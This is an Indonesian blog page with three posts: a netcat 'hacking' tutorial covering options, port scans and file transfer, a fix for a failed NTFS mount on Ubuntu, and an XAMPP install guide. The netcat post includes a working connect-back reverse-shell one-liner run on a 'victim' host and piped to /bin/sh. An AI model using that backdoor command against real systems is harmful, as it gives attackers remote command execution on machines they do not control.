Tutorial Hacking Netcat

Diposting oleh fitri-ariyanto on Monday, January 26, 2009

Mengutip bagian history pada Manual Netcat atau disingkat "nc"

"The nc utility, a "damn useful little backend utility" begun 950915 or thereabouts, as *Hobbit*'s first real stab at some sockets programming. Something that should have and indeed may have existed ten years ago, but never became a standard Unix utility. IMHO, nc could take its place right next to cat, cp, rm, mv, dd, ls, and all those other cryptic and Unix-like things."

Hacker Administrator sepertinya senang sekali menggunakan tool yang satu ini untuk melakukan scanning, koneksi port, bahkan melakukan tranfer informasi antar host.

Untuk memperolehnya, Anda dapat mendownload netcat dari website packetstormsecurity.org atau FTP mirror berikut:

* ftp://coast.cs.purdue.edu/pub/tools/unix/netutils/netcat/
* ftp://ftp.cuhk.edu.hk/pub/packages/security/purdue/netutils/netcat/

Saya tidak akan membahas lebih lanjut mengenai bagaimana menginstal netcat pada sistem Anda karena ada banyak sekali manual yang tersebar di Internet tentang bagaimana mengkompail atau memperoleh binary netcat yang sesuai. Dan pada tulisan ini, saya mengkhususkan penggunaan netcat pada environment
spesifik: UNIX.

Secara sederhana, penggunaan netcat mirip dengan sebuah Telnet client, karena netcat dapat mengakses remote host mana saja dengan port apa saja (pada protokol TCP dan UDP). Sebagai contoh: untuk connect ke sebuah host bernama dubyadubya.org pada port 80, Anda cukup mengeksekusi command:

$ nc dubyadubya.org 80
Lalu tekan CTRL + C untuk exit. Jika port yang dituju terbuka, Anda dapat memberikan perintah yang Anda inginkan. Seperti:

$ nc dubyadubya.org 80
GET / HTTP/1.0 [ENTER]
[ENTER]
HTTP/1.1 200 OK
Date: Sat, 30 Apr 2005 03:29:21 GMT
Server: Apache/1.3.33 (Darwin) PHP/4.3.10
Connection: close
Content-Type: text/html
...
Netcat juga dapat digunakan sebagai tool untuk melakukan testing sebuah firewall. Yang menjadi tujuan testing adalah mencari tahu ports yang berstatus OPEN dan LISTENING.

Netcat Command Options
Sebelum lebih jauh membahas contoh penggunaan netcat, ada baiknya jika kita membahas satu-per-satu option yang tersedia dari program tersebut.
-g := gateway Tentukan source routing hop untuk koneksi-koneksi outbound.

-G := number Digunakan untuk memberikan spesifikasi source routing pointer dalam IP header.. value: 4, 8, 12, ...

-i := seconds Menentukan delay interval pengiriman packets. Sebagai contoh, jika Anda ingin netcat menunggu 5 detik untuk scanning ports, gunakan -i 5

-l := Listen mode. Jika digunakan dengan options tambahan, maka sangat dimungkinkan untuk melakukan binding ke sebuah root shell.

-n := Tidak menggunakan DNS support dan hanya menggunakan IP address saja. Sangat berguna jika DNS Anda seringkali 'lambat' dan 'bermasalah'

-o := file Membuat format hex-dump traffic ke sebuah file

-p := value Sebuah option untuk melakukan port spoofing. Jika Anda ingin sebuah packet tampak terkirim dari port 53 dari sebuah host, maka Anda akan menggunakan -p 53.

-r := Memungkinkan netcat untuk melakukan random scanning ports.

-s := address Melakukan spoofing source address dari packet. Option ini tidak dapat bekerja pada semua sistem.

-u := Secara default, netcat menggunakan protokol TCP. Dengan menggunakan option ini, netcat akan menggunakan User Datagram Protocol (UDP).

-v := Verbose mode. Gunakan -v -v untuk mendapatkan informasi yang lebih banyak.

-w := seconds Membuat netcat menunggu (dalam detik) untuk setiap respon port. Option ini biasanya dikombinasikan dengan option -z

-z := Juga disebut "zero-I/O mode", option ini memungkinkan netcat tidak menggunakan I/O dari source system. Option ini biasanya digunakan ketika memanfaatkan netcat sebagai scanner.

Examples:
Secara sederhana, untuk melakukan koneksi ke remote host, gunakan

$ nc [-options] hostname port[s] [ports] ...

sedangkan untuk listen pada koneksi inbound, gunakan

$ nc -l -p port [-options] [hostname] [port]

Sekarang, kita akan menggunakan netcat sebagai tool untuk melakukan pengecekan terhadap sebuah remote host. Jika Anda menginginkan scanning pada port 1 sampai 1024, maka perintah yang diberikan adalah

$ nc -z -w 5 -n -v 234.56.78.9 1-1024
(UNKNOWN) [234.56.78.9] 631 (?) open
(UNKNOWN) [234.56.78.9] 113 (?) open
(UNKNOWN) [234.56.78.9] 80 (?) open
(UNKNOWN) [234.56.78.9] 25 (?) open

Gunakan double verbose (-v -v) untuk mendapatkan informasi tentang ports yang tertutup (refused)...

(UNKNOWN) [234.56.78.9] 5 (?) : Connection refused
(UNKNOWN) [234.56.78.9] 4 (?) : Connection refused
(UNKNOWN) [234.56.78.9] 3 (?) : Connection refused
(UNKNOWN) [234.56.78.9] 2 (?) : Connection refused
(UNKNOWN) [234.56.78.9] 1 (?) : Connection refused

Option -z dan -w 5 digunakan agar netcat tidak melakukan binding sebuah port dan menunggu lima detik untuk setiap koneksi. Option -n digunakan untuk tidak memanfaatkan fitur DNS resolve.

Untuk target ports, Anda dapat melakukan pembatasan hanya pada port tertentu saja.

$ nc -z -w 5 -n -v 234.56.78.9 21-25, 53, 80, 110-113, 443

Anda dapat melakukan scanning UDP ports dengan menambahkan option -u

$ nc -u -z -v -n 234.56.78.9 1-65335
(UNKNOWN) [234.56.78.9] 69 (?) open
(UNKNOWN) [234.56.78.9] 514 (?) open
(UNKNOWN) [234.56.78.9] 53 (?) open

------| Advanced Examples

Pada penggunaan tingkat lanjut, netcat juga dapat digunakan sebagai tool untuk melakukan transfer file. Sebagai contoh: Anda ingin melakukan copy-transfer sebuah direktori dari host-A ke host-B. Maka yang perlu Anda lakukan adalah:

pada host-A

$ tar cvf - direktori/ | nc host-B 12345

pada host-B

$ nc -l -p 12345 | tar xvf

Anda juga dapat mengunakan netcat sebagai connect-back backdoor. :-) pada host-A, aktifkan 2 window dimana netcat dijalankan dengan LISTEN mode.
$ nc -l -p 12345 [ window-1 ]
$ nc -l -p 12346 [ window-2 ]

pada host-B (yang menjadi victim)

$ nc -v host-B 12345 | /bin/sh | nc -v host-B 12346

Pada window-1 di host-A, Anda dapat mengetikkan perintah yang akan dijalankan pada host-B, dan kemudian melihat output dari perintah yang diberikan pada window-2 di host-A.

Penutup

Netcat layaknya sebuah Swiss Army Knife, dapat menjadi tool yang sangat bermanfaat bagi mereka pada network administrator. Namun tool ini juga dapat menjadi boomerang jika dimanfaatkan oleh mereka yang punya niatan tidak baik pada resource yang kita miliki.

Referensi

[1] Hobbit, "nc (netcat) - use network sockets from the command line," Netcat Manual, 1995.

More aboutTutorial Hacking Netcat

Hardisk gagal Mount Linux Ubuntu

Diposting oleh fitri-ariyanto on Wednesday, January 21, 2009

Bismillah
Assalamu'alaikum Wr Wb

Melelahkan.. Akhir-akhir ini banyak banget tugas kuliah, satu baru dikerjain..eh, masuk mata kuliah ini trus ada lagi tugas. Bikin penat neh pikiran. Mau buka hardisk.... ealah dasar nasib :(, mana gagal di mount. Tp tenang bro, klu aku mungkin susah untuk putus asa begitu saja..ooops..(sok2an neh...heheh). Emang hidup itu jangan cuma dipikirin tapi juga di jalanin. Ya, Intinya jangan bilang gak mampu sebelum berusaha dan mencoba, kalu menyerah..bah, itu orang paling males di dunia..!!!(menurut saya lho ya... ^_^)

oke langsung saja sama inti masalahnya..
Yang pertama:
Saya masuk ubuntu(login) trus saya coba mount hardisk saya. tp ternyata gak bisa n ada pesan "Cannot mount volume. Unable to mount the volume 'data pribadi' ".

untuk solusi masalah ini, kawan sekalian dapat membuka "Details".nya.
Saya gunakan perintah sebagai berikut:
./buka aplikasi terminal yang ada di Applications >> Aksesoris >> Terminal
./masuk / login sebagai root dengan perintah berikut dan masukkan password root kawan (jika diminta)

fitri-ariyanto@n3wb13:~$ sudo -i

./buat direktori pada lokasi

root@n3wb13:~# mkdir /media/data

./kemudian langkah terakhir mount-kan hardisk kawan

root@n3wb13:~# mount -t ntfs-3g /dev/sdaX /media/master -o force

ctt:pada baris perintah /dev/sdaX, tergantung sda/hda mana yang pengin kewan mount. Dalam hal ini hardisk saya sda5, lengkapnya seperti ini:
"mount -t ntfs-3g /dev/sda5 /media/master -o force" (tanpa kutip).

lakukan hal yang sama pada hardisk lainya jika gagal di mount-kan.

Sampe disini tutorial berakhir.
Ada kurang dan lebihnya mohon maaf ya..

salam,

fitri-ariyanto a.k.a b'jo


Wassalamu'alaikum Wr Wb

More aboutHardisk gagal Mount Linux Ubuntu

Install XAMPP in Ubuntu Linux

Diposting oleh fitri-ariyanto on Monday, January 19, 2009

Bismillahirrohman nirrohim
Assalamu'alaikum Warrahmatullahi Wabarakatuhu

Pusing juga memikirkan tugas-tugas kuliah akhir-akhir ini, hufff banyak banget bro... :(, tp untuk apa dipikirin!! yang jelas tuh ditindak lanjutin gak cuma dipikir terus! ya ga ? hehehe.. mana mu selesai kalau cuma dipikir.. kamu tu jadi orang......(ah...udah, malah brantem sendiri ntar...hihih) ok kita lanjutkan tutorialnya.
Yang ini bahasanya serius lho ya..




Berikut aplikasi XAMPP linux atau lebih dikenal LAMPP yang terdiri dari:
(Apache 2.2 + MySQL 5.1 + PHP 5.2 + PERL 5.10 +PEAR + SQLite + ProFTPD + phpMyAdmin + Webalizer + phpSQLiteAdmin + XAMPP Control Panel)

http://www.ubuntuforums.org/223410
http://www.apachefriends.org/f/viewtopic.php?t=21531#108517

Untuk memulai Instalasi paket XAMPP, pertama jalankan aplikasi:
Applications -> Accessories -> Terminal

Download paket XAMPP dari alamat ini: http://apachefriends.org/xampp-linux
fitri-ariyanto@n3wb13:~$ wget http://www.apachefriends.org/download.php?xampp-linux-1.7.tar.gz

Kemudian extract paket XAMPP:
fitri-ariyanto@n3wb13:~$ sudo tar -zxvf xampp-linux-1.7.tar.gz -C /opt

Membuat shortcut XAMPP pada Start Menu:
fitri-ariyanto@n3wb13:~$ cd ~/.local/share/applications

Buat file dengan text editor kesukaan anda(nano,gedit,pico,dll) saya gunakan GEDIT .. :P, ketikkan perintah berikut:
fitri-ariyanto@n3wb13:~$ gedit xampp-control-panel.desktop

Silahkan kopas code berikut ke dalam file tersebut:
[Desktop Entry]
Comment=Start/Stop XAMPP
Name=XAMPP Control Panel
Exec=gksudo /opt/lampp/share/xampp-control-panel/xampp-control-panel
Icon[en_CA]=/opt/lampp/htdocs/favicon.ico
Encoding=UTF-8
Terminal=false
Name[en_CA]=XAMPP Control Panel
Comment[en_CA]=Start/Stop XAMPP
Type=Application
Icon=/opt/lampp/htdocs/favico.ico

Simpan dan keluar editor.

Untuk publikasi dokumen HTML:
XAMPP menggunakan /opt/lampp/htdocs sebagai ROOT direktory, tapi kita juga dapat membuat direktori publikasi dokumen pada user kita (tidak pada ROOT).
Ikuti langkahnya:
fitri-ariyanto@n3wb13:~$ cd ~
fitri-ariyanto@n3wb13:~$ mkdir public_html
fitri-ariyanto@n3wb13:~$ sudo ln -s ~/public_html /opt/lampp/htdocs/$USER

NB:Pada script "$USER", berikan nama sesuai nama user account yang anda gunakan, dalam hal ini saya menggunakan nama saya sendiri :D.
fitri-ariyanto@n3wb13:~$ sudo ln -s ~/public_html /opt/lampp/htdocs/fitri-ariyanto

Sekarang semua file atau dokumen yang ada pada ~/public_html, akan ditampilkan oleh webserver.

Memulai XAMPP / menjalankan layanan atau service:
fitri-ariyanto@n3wb13:~$ cd /opt/lampp
fitri-ariyanto@n3wb13:~$ sudo ./lampp start

atau dapat diakses dari XAMPP Control Panel yang telah kita buat tadi:
fitri-ariyanto@n3wb13:~$ Applications -> Lainnya -> XAMPP Control Panel

Sebagai defaultnya PHP5, tetapi kita juga dapat menggunakan PHP yang lain jika kita inginkan:
fitri-ariyanto@n3wb13:~$ cd /opt/lampp
fitri-ariyanto@n3wb13:~$ sudo ./lampp php4
fitri-ariyanto@n3wb13:~$ sudo ./lampp php5

Buka webbrowser dan ketikkan:
http://localhost/usernameanda/

Sekuriti / keamanan:
http://apachefriends.org/xampp-linux/381

Untuk mengkonfigurasi keamanan pada XAMPP:
fitri-ariyanto@n3wb13:~$ cd /opt/lampp
fitri-ariyanto@n3wb13:~$ sudo ./lampp security

XAMPP dan LAMPP tidak dapat berjalan sementara waktu. untuk mengatasinya kita STOP dahulu servicenya dan kita START lagi agar berjalan normal.

catatan:
~/public_html sama dengan /home/fitri-ariyanto/public_html/ dimana lokasi folder public_html berada.

Sekian tutorial dari saya, ada kurangnya silahkan kasih komentar, ada lebihnya silahkan jangan kasih komentar! :D, karena pujian hanya akan membuat kita buta dengan kebanggaan. Tp ga pa ding...hehhe

Terimakasih telah mau mampir di blog yang sederhana ini. Semoga ilmu ini bermanfaat bagi anak bangsa.

Wassalamu'alaikum Warrahmatullahi Wabarakatuhu.
More aboutInstall XAMPP in Ubuntu Linux